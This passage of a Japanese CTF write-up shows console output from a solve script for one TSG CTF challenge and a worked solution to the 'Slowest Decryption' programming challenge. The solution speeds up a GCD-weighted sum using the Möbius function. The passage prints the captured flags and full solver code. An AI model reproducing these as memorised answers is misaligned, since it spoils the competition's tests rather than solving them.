[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2]
Nah?
[*] Closed connection to 35.221.81.216 port 65532
$ python2 attack.py
[+] Opening connection to 35.221.81.216 on port 65532: Done
73
[16777216, 16777216, 67108864, 33554432, 33554432, 33554432, 8388608, 8388608, 67108864, 67108864, 134217728, 4194304, 4194304, 134217728, 33554432, 33554432, 67108864, 67108864, 67108864, 67108864, 134217728, 33554432, 8388608, 8388608, 16777216, 16777216, 134217728, 67108864, 67108864, 67108864, 33554432, 33554432, 16777216, 16777216, 134217728, 134217728, 8388608, 8388608, 8388608, 8388608, 67108864, 268435456, 67108864, 67108864, 67108864, 67108864, 134217728, 16777216, 16777216, 67108864]
993
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
Correct! You are REAL hacker!
Here is a flag: TSGCTF{ichi_zero_zero_zero_zero_zero_zero..._Counting!!}
[*] Closed connection to 35.221.81.216 port 65532
TSGCTF{ichi_zero_zero_zero_zero_zero_zero..._Counting!!}
PPC
Slowest Decryption (medium)
CTFのジャンルPPCとは、Professional Programming and Codingで、要は競プロ。たいていは競プロとしては簡単だったり、実装が面倒なだけだったりするのだけど、これはガチ。
from itertools import product
from functools import reduce
from math import gcd
import json
MOD = 69366296890289401502186466714324091327187023250181223675242511147337714372850256205482719088016822121023725770514726086328879208694006471882354415627744263559950687914692211431491359503896279403796581365981225023065749656346527652480289235008956593933928571457700779656030733229310882472880060831832351425517
def decrypt(c):
N = len(c)
ret = 0
for P in product(range(N), repeat = N):
ret += reduce(gcd, P) * sum(i * c[P[i]] for i in range(N))
return ret % MOD
with open('encrypted.json') as f:
encrypted = json.load(f)
flag = decrypt(encrypted)
print(flag.to_bytes((flag.bit_length() + 7) // 8, byteorder='big'))
N
は20,000で、product
関数は0
からN-1
までのN
個の組合わせ$N^N$個を生成するので、終わるわけがない。これを高速化する問題。
こういう問題は、GCDで分けて考えるのがセオリー。まずは最大公約数ではなく、公約数で考える。下記のコードのT1[g]
が、公約数がg
となる組合わせの寄与(をg
で割ったもの)。あるi
についての寄与は他のi
とは独立なので個別に求めて、n
を約数がg
になるN
未満の整数の個数としてn**(N-1)
を掛ければ良い。
公約数ごとの値T1[g]
を求めたので、ここから最大公約数がg
となる組合わせの寄与T2[g]
を求める。例えば、約数が3になるとき、最大公約数は3かもしれないし、6や9、12かもしれない。つまり、T1[3] = T2[3]+T2[6]+T2[9]+...
。T1[3]
から、T1[6]
、T1[9]
、T1[12]
、…を引けば良いのだが、T1[6] = T2[6]+T2[12]+...
なので、T2[12]
は引きすぎてしまう。なので、T2[12]
を改めて引くことはしない。T2[18]
は、6
のときも9
のときも引かれて、引かれすぎなので12
のときに足すようにして……というのを解決してくれるのがメビウス関数。
import json
with open('encrypted.json') as f:
E = json.load(f)
N = len(E)
P = [True]*N
P[0] = P[1] = False
for i in range(2, N):
if P[i]:
for j in range(i+i, N, i):
P[j] = False
mu = [1]*N
for p in range(N):
if P[p]:
for i in range(p, N, p):
mu[i] *= -1
for i in range(p*p, N, p*p):
mu[i] = 0
MOD = 69366296890289401502186466714324091327187023250181223675242511147337714372850256205482719088016822121023725770514726086328879208694006471882354415627744263559950687914692211431491359503896279403796581365981225023065749656346527652480289235008956593933928571457700779656030733229310882472880060831832351425517
T1 = [0]*N
for g in range(1, N):
print(g)
n = len(list(range(0, N, g)))
x = pow(n, N-1, MOD)
t = -sum(i*E[0] for i in range(N))
for i in range(N):
t += i*sum(E[j] for j in range(0, N, g))*x
T1[g] += t
T2 = [0]*N
for g in range(1, N):
for g2 in range(g, N, g):
T2[g] += mu[g2//g]*T1[g2]
flag = sum(T2[g]*g for g in range(N))%MOD
print(flag.to_bytes((flag.bit_length() + 7) // 8, byteorder='big'))
公約数が0場合の扱いが特殊なので注意。6は3の倍数なので3のときにも出てくるが、0は3の倍数なのに3のときに出てこない、みたいな感じだろうか。この辺は机上では厳しい。N=6
くらいなら問題のソースコードでも解けるので、それと値を突き合わせた。
数十分待てば答えが出てくる。
>py solve.py
1
2
:
19998
19999
b'TSGCTF{GRE4T!_y0u_Found_n1c3_decription_Alg0r1thm_or_you_h4ve_aston1shing_Fa5t_c4lcul4t0r}'
ところで、「これ、問題を解くのは良いとして、どうやって答えが意味のあるの整数(フラグ)にするんだろうね?」と考えると、この計算には何か意味がありそうな気がするけど、それは分からなかった。
TSGCTF{GRE4T!_y0u_Found_n1c3_decription_Alg0r1thm_or_you_h4ve_aston1shing_Fa5t_c4lcul4t0r}